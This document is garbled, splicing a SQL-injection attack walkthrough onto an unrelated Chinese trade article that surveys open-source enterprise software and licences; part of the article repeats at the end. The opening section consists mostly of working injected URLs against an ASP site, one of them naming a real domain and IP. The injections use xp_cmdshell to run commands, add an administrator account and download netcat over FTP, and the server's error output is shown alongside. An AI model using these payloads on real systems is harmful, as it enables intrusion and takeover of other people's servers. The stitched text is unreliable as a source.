http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')
!!PAY ATTETION TO THE SERVER= PARAMETER
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with override'. The OLE DB provider 'sqloledb' indicates that the object has no columns.
/Including/general.asp, line 840
if dun work try:
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--
NOW SCRIPT KIDDIES
http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'ipconfig'--
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like '%25IP Address%25'))-- (%25 == “%”)
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 203.162.7.70 ' to a column of data type int.
/Including/general.asp, line 840
C:\> ping 203.162.7.70
Pinging 203.162.7.70 with 32 bytes of data:
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service (Version 5.0).
User (203.162.7.70:(none)):
203.162.7.70 == panvietnam.com
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == "&")
Code:
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service
(Version 5.0).
User (203.162.7.70:(none)): a
331 Password required for a.
Password:
530 User a cannot log in.
Login failed.
ftp> bye
UPLOAD NETCAT LÊN
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f')-- (%3E == ">")
Code:
echo open a.b.c.d >f
echo user a a >>f
echo bin >> f
echo cd a >>f
echo mget * >>f
echo quit >>f
ftp -v -i -n -s:f
del f
http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'dir nx.exe'--
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))--
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '08/17/2003 11:31a 11,776 nx.exe' to a column of data type int.
/Including/general.asp, line 840
开源方案“黄页”
开源商业智能
很快市面上就会出现成本高昂的报表工具以外的低成本方案。
如今,客户和独立软件开发商在购买现有商业智能(BI)软件的许可证时往往面临高昂费用,这也就难怪在开源社区内部
BI方面的工作开展得如火如荼。首当其冲的是Eclipse基金会,它已把BI列为自己的七个最高级别项目之一。该基金会已在6月发布了1.0版本的商业智能软件和报表工具(BIRT),采用其自己的Eclipse许可证,该许可证得到了开源促进会(OSI)的批准。
BIRT的主要目的是为基于Java的Web应用充当报表系统。它包括两个部分: 一个是JAR(Java Archive)文件,该文件包括可部署在应用服务器上的运行时组件; 另一个就是报告设计器,它可以作为Eclipse插件来交付,提供了方便的所见即所得的编辑功能以及标准报表项目调色板。该工具包基于名为开放数据访问的框架,这样在选择数据源时具有很大的灵活性。
对需要专业支持、维护及培训的人来说,一家名为Actuate的公司为BIRT技术提供了所有这些服务。此外,Actuate提供的自己版本的BIRT使用商业许可证,该许可证含有知识产权保障条款。
值得关注的另一家组织就是Pentaho,这家新兴公司致力于开发全面的开源BI平台,包括报表、分析、仪表板、数据挖掘及工作流等工具。该公司的开发队伍声称,队伍成员以前在Cognos、Oracle和SAS 等公司从事过BI应用软件的开发。这个项目的主要服务器架构将搭建在J2EE上,与BIRT相似的地方是,相应的客户机环境将基于Eclipse平台。开发人员已努力把先进技术集成到平台里面,譬如对所有内容统一使用XML定义; 对分析组件使用Web服务界面,力求确保最大的灵活性等。
截至发稿日,Pentaho还没有提供下载版本,不过该公司称,它计划在年底前交付所有项目的版本,采用宽通用公共许可证(LGPL)以及所谓的“类似LGPL”的许可证,其中包括Apache、BSD和Eclipse。公司网站上提供了详细的路线图。
虽然Pentaho目前也许是个雾件(vaporware),但它具备了在BI市场成为重要竞争者的所有必要条件。该项目的开发人员说: “我们没指望用户仅仅是因为它是开放的就采用它。我们希望用户选择它,是因为它更好。至于这个项目结果如何,几个月后可见分晓。”
开源业务流程管理
编制面向服务的架构(SOA)是项让人激动的任务,新项目正在积极采取行动。
功能齐全的业务流程管理套件也许不会最先来自开源社区,不过这正是诸多项目在竭力使之实现的目标。随着SOA的兴起,人们对管理及编制不同服务和 Enterprise JavaBeans(EJB)的业务流程引擎的需求空前高涨,甚至对以其他方式依靠开源技术的网站来说也是如此。
这就是为什么Apache软件基金会考虑采用Project Agila的原因。在该基金会的Jakarta Java工具套件当中,这个项目可以说是 “皇冠上的宝石”。Agila是基于Gluecode软件公司在2004年10月捐献的初始代码开发的,这个轻便、可嵌入的开源业务流程管理引擎适合与 J2EE和较低端的平台如J2ME一起使用。Apache的代表声称,正因为如此,Agila是Apache Java中间件系列当中的最后一个重要部分,可以同BEA或者IBM等主要商业开发商提供的产品相媲美。目前这个项目还处于孵化阶段,没有授权文件,不过已经向公众开放。但预计大规模的开发工作很快就会启动。
Apache软件基金会不是惟一遵循这条思路的组织。JBoss 也在期望把产品系列扩大到其核心应用服务器以外的领域。JBoss近期购买了名为jBPM的开源工作流引擎,把其丰富的Java开发经验带到了业务流程管理市场上。
与Project Agila一样,jBPM也可以作为独立的应用运行,或者作为另一个应用里面的嵌入式组件运行。与Apache项目不同的是,jBPM代码已经可以从 JBoss的网站下载,采用该公司的定制的宽通用公共许可证 (LGPL)。除了引擎本身外,jBPM还包括图形化的流程设计器,用于创建工作流。该项目的未来计划包括: 增加对业务流程执行语言(BPEL)的本地支持; 就长远而言,项目的目标是要扩展jBPM的功能,使其成为一种成熟的企业服务总线(ESB)。
除了这两个主角外,还有其他许多开源工作流引擎(有的正在拟议中),不过这些项目的发展状况往往很难确定。不过,管理业务流程这项复杂工作需要专门技能。如果你在寻求这类软件的开源方案,稳妥之计就是,选择得到像Apache或者JBoss这些财力雄厚、专业的组织支持的项目。
开源企业服务总线
中间件方案的数量在迅速增加,但现在离开商业开发商也许过于仓促了。
随着Java应用服务器迅速成为一种大众化商品,难怪现在我们开始看到企业中间件系列的其他组件以开源方式实施。尤其是,近几个月已出现了许多极其成熟的企业服务总线(ESB)实施项目。
Iona科技公司近期捐献了Celtix的源代码,这是采用GNU LGPL许可证的Java ESB,从而启动了ObjectWeb社区在ESB方面的工作。虽然迄今为止还没有提供授权文件,但Iona的代表声称,Celtix将支持最近推出的 Java商业智能(JBI)规范,该规范为跨应用集成明确规定了标准化的对象容器。该项目还将支持Web服务描述语言(WSDL)、Java消息服务(JMS)、简单对象访问协议(SOAP)和XML,还会为Java和传统Java对象(POJO)提供应用扩展接口。其管理和配置工具将基于 Eclipse。
不甘落后的Sun也在今年的JavaOne大会上发布了自己的免费ESB。这个名为Java开放式企业服务总线的项目将放在Java.net上进行,第一个版本有望在今年夏末交付。Sun还计划把来自这个社区项目的代码包装成商用产品。与Celtix一样,Open ESB将基于JBI 1.0规范,并借助JBI参考实施方案。可是与Iona不同的是,Sun发布的代码将采用自己的公共开发和发行许可证,而不是GNU许可证。相关详细情况仍很少。
虽然前面提到的项目仍处于初期阶段,但至少有一个开源ESB已经具有一定的发展历史。由 SymphonySoft公司发起的Mule项目从2003年开始就在开发了。该项目的当前版本为1.1,支持可插拔的连接选项,适用于众多网络传输技术,包括JMS、POP3、TCP、UDP、服务器小程序和多点传送等。更先进的特性在路线图中有所介绍,譬如,JBI实施要到版本2.0才会出现等。另外,该项目采用SymphonySoft自己的许可证发布,而不是免费软件基金会或者开源促进会批准的许可证,这对一些人来说是个不足。
有了代码,上述项目都有可能为部门级ESB部署打下良好基础。然而就大规模部署而言,没有一个项目可能会有太大的吸引力。由于许多ESB部署方案把JMS统一作为首选的消息传输方式,如果有些公司已经向Cape Clear Software、Fiorano Software或Sonic Software这些厂商购买了企业级JMS服务器,那么采用这些厂商的ESB产品,或者坚持使用较传统的中间件解决方案要比采用开源来得明智。
开源内容管理系统
挑选内容管理系统解决方案最困难的地方就是缩小选择范围。
随着Web成为大多数企业进行联系的基础,你会发现如今市场上并不缺少Web内容管理系统(CMS),包括众多的开源方案。自然,如果你大胆地利用这些产品搭建内联网或者面向公众的网站,需要关注的不仅仅是许可费。所以重要的是不仅仅寻求产品的功能,还要注意有无经常更新、健康发展的用户社区以及专业支持等方面。
OpenCms运行在Apache Tomcat上,适用于大多数操作系统,并采用宽通用公共许可证(LGPL)。众多注册的解决方案提供商可以提供实施支持及其他专业服务。此外,德国的 Alkacon Software公司提供收费的支持协议、最终用户及开发培训课程(分英文和德文两种版本)以及定制的项目开发。
表格和所见即所得的编辑器简化了编辑OpenCms里面的内容条目,而该软件使用方便的管理用户界面允许轻松定制。不过,OpenCms在几个高级方面也有所欠缺: 缺少安全套接层(SSL)加密和轻型目录访问协议(LDAP)验证; 提供的模板管理功能也很有限。虽然它具有成本效益,但如果你需要扩展多个网站,或者如果你期望获得企业性能管理功能如高速缓冲和负载平衡,不妨考虑其他产品。
全世界的人都在使用基于PHP和MySQL 的CMS Mambo,既用于构建简单的网站,也用于构建复杂的企业应用。Mambo的开发社区真正属于国际化,提供功能强大的支持论坛、优质的第三方专业服务以及用户大会。Mambo采用GPL许可证,但总部设在澳大利亚的Miro(该软件的开发者)也提供名为Jango的商用版本。
Mambo提供相当不错的页面缓冲、RSS聚集以及在计划表上显示内容的功能。可以从Mambo社区获得许多功能强大的免费附件,包括文档管理特性、讨论论坛以及基本的电子商务购物手推车等。不过类似OpenCms的是,Mambo也缺少大规模实施所需的多重任务执行功能。
最全面的开源CMS应用软件恐怕就要数eZ publish了,它提供内容分段(content staging)、工作流审批以及IT人员所需的数据中心的所有功能——包括负载平衡。另外,可以重复使用一些内容的功能使eZ publish适用于只要用一个CMS实例就可以托管的国际网站。
现在可以获得GPL版本的eZ publish。总部设在挪威的eZ systems是这个软件的开发商,它还提供采用商业许可证的版本。这些许可费用于支付大约40名员工的薪水,他们在开发产品时遵守严格的质量保证周期,可以同纯粹的商业开发商的周期相比。它还提供支持、培训和咨询服务等。
开源客户关系管理系统
不用花大价钱购买软件就可以管理销售及客户关系。
开源社区还无法在短期内取代Salesforce.com或者Siebel这类厂商提供的价格不菲的高端CRM软件。不过,现有的一些项目已经具有的先进程度可能会让你大吃一惊,尤其适用于中型组织。
譬如说,SugarCRM就提供全面的企业级CRM系统,利用开源技术而建,包括PHP、MySQL和 Apache Web服务器等。名为Sugar Open Source的基本套件可以免费下载,它采用SugarCRM的定制许可证。该公司还提供商业版本的软件,名为Sugar Professional。SugarCRM为该产品的商业版本和开源版本提供收费的支持套件。
《InfoWorld》测试中心曾在4月测评了Sugar Professional 2.5,结果发现这款解决方案对中小企业来说还算不错。此外,说到对性能的改进,SugarCRM也决不含糊。版本3.0添加了营销活动和联系人名单管理、电子邮件营销、项目管理、员工目录及日历同步等工具。即将推出的版本3.5将添加面向移动销售人员的离线客户软件、可以扩展的模块化框架以及支持 Oracle数据库的功能。
Compiere主要是一款ERP解决方案,它也提供了一些CRM功能。Compiere不是为用户提供独立的模块,而是提供了解所有客户和潜在客户有关活动的逻辑视图,还提供线索跟踪、营销活动管理、客户盈利能力分析以及面向商业合作伙伴的自助式网上查询等。你可以从本专题“开源ERP”的介绍中进一步了解Compiere。
Open for Business Project提供的电子商务应用软件套件采用麻省理工学院的许可证,包括民CRM、ERP和电子商务的特性。Open for Business Project类似于Compiere,也不是把功能分散到不同模块,而是把整个套件建立在通用数据模型上,从而便于销售、会计、设备管理及协作等众多活动。这有其优缺点: 这意味着众多活动在套件里面得到了很好的集成,但同时也意味着,你必须购买整个整体式软件包,才能充分利用其功能。许多一流的咨询组织提供对该软件包的支持。
销售和客户支持活动对大多数公司来说太重要了,不能把CRM软件包不当回事。然而,开源模式的一个优点就是,你不会被有限的试用期所限制,而商业软件包或者Salesforce.com等厂商的托管方案对此都有所限制。此处列出来的所有软件包随时都可以下载,所以尽管放心试用吧——你不用花钱就可以试一下。
开源ERP
免费ERP软件包的特性差异很大,不过还是可以找到一些宝贝的。
ERP的目的不仅仅是为公司业务流程的每个层面提供统一的应用界面,它还应力求包含固有的数据挖掘功能。但尽管JD Edwards、Oracle、SAP及其他厂商投入了大量资源,用于开发任何企业都可以定制的ERP软件,但这些厂商也把软件价格推到了许多企业根本无力承受的高度。
这时开源ERP闪亮登场了。
ERP的高昂价格有很大一部分是用于支付一大批业务流程和软件开发顾问的薪水,因为要为不同的业务部门定制商业软件,需要这些顾问。而使用开源ERP软件代码意味着,你可以在内部实现这种定制,另外还可以避免高昂的软件许可费。
其中一款最知名的开源ERP软件就来自Compiere。这款软件着眼于业务分析功能,集成了CRM、销售点(POS)和库存管理模块,为多种商业场景提供了出众的灵活性。该产品可以使用Java数据库连接(JDBC),与大多数关系数据库进行集成,并且还提供了对Oracle和Sybase的特定支持。服务器和客户机平台包括: Linux、Solaris、Windows及其他平台。该软件的发行采用Mozilla公共许可证。
采用GNU许可证的webERP是另一个生产级项目,它包括了全面的记账特性,包括总分类账、应付账款和应收账款账簿,还包括基于规则的安全及可以高度定制的基于Web的前端程序。它面向类似制造业的业务流程,包括对订单录入和库存管理的支持。与Compiere不同的是,它没有用于客户管理、人力资源或者类似资源的模块。全球有许多公司提供金牌、银牌、铜牌及语言翻译支持。
还有其他一些项目,不过开源项目的一个特点就是,不同项目对这类软件的特性集的定义方式各不相同。对ERP软件包来说更是如此。譬如说, Linux-Kontor定义的ERP没有记账功能,而是专注于客户管理、订单录入、开票及库存。另一方面,虽然TUTOS自称是ERP,但更像是一个群件套件。显然,为了确保你真正获得期望从这类软件得到的功能,就需要作一番调查。
开源目录服务
LDAP服务器向大众化商品迈近了一步。
随着越来越多的公司开始调查身份管理、单次登录(SSO)和自动配置等功能,目录服务随之迅速成了网络基础设施中的一个关键部分。不过迄今为止,还没有哪个开源项目在该领域获得像Apache在Web服务器市场的主导地位。
长期以来的主要竞争者就是OpenLDAP,该项目提供了可靠、可扩展、稳定的LDAP目录服务器、复制服务器及一些基本工具。OpenLDAP 基金会负责维护采用定制许可证的代码,已把代码移植到了众多平台上,包括AIX、FreeBSD、Linux、Mac OS X和Windows。OpenLDAP很成熟,可正常使用,但很难配置,尤其是在编写访问控制列表(ACL)时。另外,它主要是一种重负荷服务器,缺少微软、Novell和Sun这些厂商的商用LDAP目录所具有的一些增强特性。
Novell已把开源作为其战略的核心部分,不过对网络管理员们来说,比较遗憾的是,eDirectory仍是其商用产品系列的一部分,这让竞争对手——Linux厂商Red Hat有机会采取行动,推出自己的开源产品。Red Hat目录服务器(RHDS)面向Windows、Solaris(采用Sparc处理器)和HP-UX(采用PA-RISC处理器),基于原先名为 Netscape目录的产品上,Red Hat在2004年从Netscape手里买下了Netscape目录。RHDS是款历史悠久、性能成熟的产品,提供复制等高级特性—包括部分复制、专门面向大型数据库的特性以及基于WAN链路的复制,还提供与微软的活动目录和Windows NT 4 Server同步的功能。
目前,RHDS仅提供给采用Red Hat的订购支持模式的客户。然而,该公司已经开始开放该软件的源码,这个采用GPL许可证的项目名为Fedora目录服务器。截至发稿日,只有核心 LDAP服务器本身及一些命令行工具作为开源提供,不过其他服务器模块、管理控制台和管理服务器组件方面的工作正在开展当中。
许多观察人士认为,从长远来看,对寻求开源目录服务器的人来说,Fedora项目可能是优于OpenLDAP 的选择。但鉴于OpenLDAP作为经济型目录部署的事实上的标准,已牢牢确立了地位,所以不可能很快就会消亡。对基本的目录功能而言,两者都是可靠的选择,甚至对大型数据库而言也是如此。
开源身份管理
免费工具让开发人员在构建先进的安全基础设施方面领先一步。
全面的身份管理解决方案由许多部分组成。正因为如此,任何单个开源项目都很难提供即插即用的身份管理系统。然而,有许多项目可以提供这类系统的某些部分,尤其是在身份联合和单次登录(SSO)方面。
在SSO领域,耶鲁大学已开发了一组Java服务器小程序,名为集中授权服务(CAS)。提供的这组服务器小程序采用耶鲁大学自己的许可证,目前美国有许多大学在使用。同样采用定制许可证的另一个工具集是Java开放式单次登录(JOSSO)项目,可以为ASP、 PHP和Java应用提供扩展接口。
这两个项目都仅仅针对SSO,无法为全面的身份管理基础设施提供强大支持。但另一方面,开发身份联合标准的工作却大有希望——包括安全声明标记语言(SAML)、WS-*系列标准及自由联盟提议的众多标准等,这方面的许多开源项目工作已经在开展当中。
Ping Identity是SourceID的发起者。SourceID这种身份联合工具集提供了对基于Java和.Net的SAML 1.1及Liberty-ID-FF 1.1两种协议的支持,另外还支持仅基于Java的Liberty-ID-FF 1.2协议。这些库允许开发人员实现跨域SSO和属性查询等特性。提供的代码采用SourceID自己的许可证。代码还为Ping Identity的商用身份联合服务器: PingFederate奠定了基础。
最雄心勃勃的开源联合身份项目恐怕要数Shibboleth,主持该项目的是Internet2下属的教育中间件架构委员会。 Shibboleth主要供Internet2网络上的教育机构使用,这种全面的验证和访问控制系统面向基于Web的资源,基于SAML 而建,并采用定制许可证发行。该软件是纯粹的Java软件,目前许多组织(包括大学、图书馆和Napster数字音乐服务商)都已把它投入实际使用当中。
这里提到的开源身份方案都需要一些开发技能,而且对本地网络环境要有透彻了解,那样才能得到有效实施。如果全面的身份管理解决方案正是你所寻求的,还是寻求不同的商业开发商为好。不过随着身份管理越来越受到关注,其中一些项目、尤其是Shibboleth会获得更显赫的地位。
声明
本报第37期应用与方案版第C9版所刊登《在SCO Unix系统中实现业务数据的自动备份》一文的作者系中国人民银行湖南省邵阳市中心支行科技科赵志斌。
本报第38、39期应用与方案版第C12版所刊登《全新接入架构提升IT管理效能》一文中安莉芳集团公司CTO姓名应为王建平。
特此声明。
开源企业门户
开源Java企业门户领域的竞争在不断加剧。
是否支持标准是大多数企业开发项目的重要衡量标准。在企业门户服务器领域,这意味着符合J2EE的引擎支持多种标准,如门户组件(JSR 168)和面向远程门户组件的Web服务(WSRP)等。幸好,已有为数不少的开源项目在这一领域参与竞争。
其中比较突出的一个项目就是eXo平台。这个项目已经进入了实际使用阶段,旨在充当可以定制的企业门户和内容管理系统。其门户组件容器实际上通过了认证,符合JSR 168标准,并已得到改进,具有高速缓存、连接池和共享会话等特性。门户本身基于JavaServer Faces(JSR 127)技术,并提供模型视图控制器架构。它采用两种许可证: 商业许可证和GPL许可证,eXo项目队伍可提供在线支持和上门培训这两种收费服务。
另一个竞争者就是Liferay Portal,它拥有类似eXo的特性集,包括符合JSR 168和WSRP。但Liferay没有使用JavaServer Faces,而是使用了较成熟的Struts和Tiles技术。它可以运行在众多应用服务器和数据库上,并为单次登录(SSO)功能提供了扩展接口,不过默认状态下只支持耶鲁大学的SSO引擎。与eXo一样,Liferay开发人员本身也可以提供专业支持,不过支持费用很快就会高涨。软件本身采用麻省理工学院的许可证,类似Apache许可证。
Apache软件基金会长期关注企业门户软件,目前拥有这方面的许多项目。Jetspeed-1软件就是基于 JSP和XML等技术的基本门户系统。Jetspeed-2更加基于组件,提供了更先进的基于门户组件的方法。Apache还提供了门户组件容器的参考实施方案,即Pluto。所有这些都采用Apache许可证。
JBoss也推出了JBoss门户,这是该公司的JBoss企业中间件系统(JEMS)Java应用开发系列当中的一部分。这是另一种符合JSR 168的门户组件容器,可通过JavaServer Faces、MyFaces和Spring提供定制功能,另外还提供额外的内容管理和其他管理功能。作为“专业的开源公司”,JBoss提供GNU LGPL和商业许可两种方式,另外还提供专业支持、咨询和培训。
最后,GridSphere是另一种符合JSR 168的基于门户组件的门户服务器,并支持JavaServer Faces。值得注意的另一个功能就是额外的门户组件API,声称几乎可以与IBM的WebSphere保持完全兼容。可通过Gridwise科技公司获得咨询、培训和开发支持。不过,提供的这个软件采用未得到OSI批准的独立的GridSphere许可证。
开源销售点
免费的商业终端软件为大大小小的公司带来了灵活性。
销售点(POS)的另一个术语就是“现金出纳机”。尽管现金出纳机的功能要求可能很有限,但从企业角度来看,这类应用涉及诸多不确定因素,包括硬件兼容性、面向垂直领域的定制数据收集及后端数据挖掘等。
幸好,有一些方案可以供你选择。譬如,PHP销售点就是一种成熟的开源POS应用。它基于PHP和MySQL,采用GPL许可证,为基本的POS 应用场景提供了非常丰富的特性集。它还可以与领先的开源电子商务应用: osCommerce实现集成。这意味着,你可以使用PHP POS进行网上交易,也可以用于传统的交易环境。该软件自2003年发布以来,下载次数已超过26000次。版本9.0正在开发当中,有望增强销售功能、提供更灵活的折扣方式以及经过改进的后台报表系统。
值得关注的另一个对象是Tina POS,这个项目目前正处在实际使用阶段。Tina POS采用GPL许可证,拥有良好的硬件支持功能,包括支持条形码阅读器、触摸屏以及众多票据打印机。它可以通过JDBC连接至数据库,有一个Java前端程序,而且提供了出色的后端办公集成和报表功能。
如果现有的端到端POS解决方案没有一款能够提供你所需要的所有定制选项,开源社区仍可以助你一臂之力。不妨看看jPOS,这是与J2EE兼容的框架库,适合嵌入到内部的定制解决方案里面。jPOS有一组出色的硬件扩展接口,支持基于角色的安全,甚至还有一支不断壮大的咨询队伍可以提供支持。如果你已经决定,自行开发POS系统是出路所在,那么jPOS绝对值得密切关注。可能存在的一个不足是,所提供的代码采用专有的 jPOS许可证,而不是得到OSI认可的任何现有许可证。
虽然不是采用开源模式的所有应用软件都具有可持续性,但POS显然是个异数。开源社区不仅提供众多灵活的选择,还提供让这些应用软件真正可以使用的支持架构——甚至是对小企业而言。
开源RFID
免费的标签和EPC数据管理软件正处于初期阶段,但前景诱人。
如果说在过去一年,IT行业有一个领域受到的关注程度不亚于开源本身,那么非无线射频(RFID)莫属。不过迄今为止,RFID还是属于昂贵的技术,最强有力的支持来自沃尔玛等大型零售商。公司企业不得不依靠昂贵的商用软件包在各自行业开展业务,但这种情况必然会发生变化。RadioActive 基金会由两名加拿大企业家创办而成,旨在开发一系列开源RFID应用软件,以支持电子产品代码(EPC)及来自 EPCGlobal Network的其他标准。
它的第一个项目就是Fusion,这个中间件层用于管理及收集来自标签和传感阅读器的数据,然后把该数据传送到企业信息系统。拟议中的其他计划包括: Neutrino,这组工具用于在商业合作伙伴之间交换EPC数据; Graviton,这个基于驱动程序的模拟器可以模拟不同制造商的RFID硬件。RadioActive基金会的所有项目都采用Apache许可证发布。
RadioActive基金会把其所有项目列为处于规划阶段,所以等实际代码开始出现可能需要一段时间。该基金会鼓励有关方面可以参与其新组建的开源RFID联盟,它希望这会激发人们的兴趣、加快相关软件的开发。无论这会不会真的发生,或者项目会不会失败,都仍有待观察。
开源VoIP/电话
有关PBX应用和交互语音应答系统的方案数量众多。
Digium发起的Asterisk是首批开源VoIP项目之一,也是最早的VoIP PBX之一。Asterisk是一个非常成熟的平台,采用GPL许可证,它几乎支持连大企业都会希望VoIP网关解决方案提供的各种功能,包括语音邮件、呼叫转移、会议功能,甚至交互语音应答(IVR)等。它还有呼叫详细记录——这是VoIP的滚滚财源,以及适合用于虚拟教室或者虚拟会议室等场合的高级特性。其庞大的开发社区在为该平台贡献更多的附件,包括商业版本和开源版本。
不过,尽管Asterisk也许是个开拓者,但肯定绝不是只有它一个。如今已出现了许多竞争性的新型开源 VoIP平台,它们基于会话初始化协议(SIP)。Pingtel已为其商用SIPxchange PBX发布了代码,目前由一家名为SIP-Foundry的非营利组织旗下的sipX加以管理。虽然成熟程度不及Asterisk,但sipX更加严格遵守开放的SIP标准,从而提高了软硬件的兼容性——至少目前是这样。
SIP快速路由器(SER)严格遵守SIP标准。它用C语言编写,采用GPL许可证发行,已被移植到 Linux和Solaris上。除了充当SIP服务器外,SER还可以为短消息服务(SMS)、即时通信(IM)、RADIUS记账和授权以及基于Web 的用户配置充当网关。基于SER的商用产品可从iptelorg购得。可启动的LiveCD版软件也可以获得,它扩展了SER的功能,添加了用起来方便得多的基于Web的管理工具,并支持思科和Mitel等厂商的通用VoIP硬件。
Yate(另一个电话引擎)采用GPL发行,这是个异常灵活的平台。Yate非常成熟,包括了对SIP、H.323及其他协议的支持,可以运行在Linux或者Windows上。它具有所有常见的PBX增强功能: 语音邮件和呼叫转移等,还可以作为IVR服务器使用。
不过,那些热衷于更稳定更可靠的IVR应用的人最好还是考虑Bayonne,这是GNU Project的脚本驱动的电话服务器。Bayonne历史悠久,为众多的电信级电话应用而设计。商业支持可以从许多途径获得。Bayonne最近已被纳入更齐全的GNU Telephony这面大旗麾下,GNU Telephony包括许多其他免费软件项目。
链接
形形色色的开源许可证
你在使用开源代码之前,要确保了解相关条款。
据最新统计,开源促进会(OSI)认可了近60种不同的开源许可证。如果你只想安装及使用软件包,那么采用哪种许可证并不重要。但特别重要的是,如果你想修改代码,或者把它用到自己的项目中,就要注意许可条款。
GNU GPL(通用公共许可证)可能是知名度最高的开源许可证,也是最为开发人员熟悉的其中一种许可证。如果企业想开发专有应用软件,GPL很可能是个问题,因为它在相互共享代码方面有着严格规定。
这个问题导致后来出现了GNU LGPL(宽通用公共许可证),它授权使用源代码,但仍允许源代码有限制地使用于专有产品,并不启动普通的源代码发布条款。JBoss喜欢使用这种许可证,各种代码库对这种许可证也是情有独钟。
另一种对商业有利的开源许可证是BSD许可证。然而,许多开源的支持者认为LGPL、尤其是BSD许可证并不适宜,因为它们允许外部的开发人员不用提供任何回报,就可以利用来自开源项目的代码。
为了取悦于这两个阵营,许多开源厂商采用了双许可模式。它们采用GPL发布代码,但也向那些不想受GPL条款限制的公司提供独立的商业许可证。MySQL和Red Hat就是采用这种模式的知名厂商。
另外,还有众多得到OSI批准的开源许可证,但有许多在不得重新分发这一点上是相似的。另外值得一提的是,绝大多数的开源许可证授予开发人员完全不必承担质量保证和支持义务。
然而对许多公司来说,一个特别头痛的问题源自所谓的自定义许可证大量出现。很多厂商坚持自己定义许可证,而不是统一采用OSI已经批准的许可证。虽然这些许可证的条款往往类似OSI批准的许可证,但一些细小问题通常会有出入,有时一些重大问题也会有出入。
遗憾的是,每次你往自己的环境中添加一种新许可证,就需要新一轮的调查工作,确保该许可证的条款有利于贵公司的业务实践。这就意味着,要支付额外的成本,也错失了产品尽快上市的良机。而在某些情况下,新的许可证其实可能与你已经在使用的软件的许可证水火不相容。所以,有时坚持采用你熟悉的许可证还是值得的。
很快市面上就会出现成本高昂的报表工具以外的低成本方案。
如今,客户和独立软件开发商在购买现有商业智能(BI)软件的许可证时往往面临高昂费用,这也就难怪在开源社区内部
BI方面的工作开展得如火如荼。首当其冲的是Eclipse基金会,它已把BI列为自己的七个最高级别项目之一。该基金会已在6月发布了1.0版本的商业智能软件和报表工具(BIRT),采用其自己的Eclipse许可证,该许可证得到了开源促进会(OSI)的批准。
BIRT的主要目的是为基于Java的Web应用充当报表系统。它包括两个部分: 一个是JAR(Java Archive)文件,该文件包括可部署在应用服务器上的运行时组件; 另一个就是报告设计器,它可以作为Eclipse插件来交付,提供了方便的所见即所得的编辑功能以及标准报表项目调色板。该工具包基于名为开放数据访问的框架,这样在选择数据源时具有很大的灵活性。
对需要专业支持、维护及培训的人来说,一家名为Actuate的公司为BIRT技术提供了所有这些服务。此外,Actuate提供的自己版本的BIRT使用商业许可证,该许可证含有知识产权保障条款。
值得关注的另一家组织就是Pentaho,这家新兴公司致力于开发全面的开源BI平台,包括报表、分析、仪表板、数据挖掘及工作流等工具。该公司的开发队伍声称,队伍成员以前在Cognos、Oracle和SAS 等公司从事过BI应用软件的开发。这个项目的主要服务器架构将搭建在J2EE上,与BIRT相似的地方是,相应的客户机环境将基于Eclipse平台。开发人员已努力把先进技术集成到平台里面,譬如对所有内容统一使用XML定义; 对分析组件使用Web服务界面,力求确保最大的灵活性等。
截至发稿日,Pentaho还没有提供下载版本,不过该公司称,它计划在年底前交付所有项目的版本,采用宽通用公共许可证(LGPL)以及所谓的“类似LGPL”的许可证,其中包括Apache、BSD和Eclipse。公司网站上提供了详细的路线图。
虽然Pentaho目前也许是个雾件(vaporware),但它具备了在BI市场成为重要竞争者的所有必要条件。该项目的开发人员说: “我们没指望用户仅仅是因为它是开放的就采用它。我们希望用户选择它,是因为它更好。至于这个项目结果如何,几个月后可见分晓。”
开源业务流程管理
编制面向服务的架构(SOA)是项让人激动的任务,新项目正在积极采取行动。
功能齐全的业务流程管理套件也许不会最先来自开源社区,不过这正是诸多项目在竭力使之实现的目标。随着SOA的兴起,人们对管理及编制不同服务和 Enterprise JavaBeans(EJB)的业务流程引擎的需求空前高涨,甚至对以其他方式依靠开源技术的网站来说也是如此。
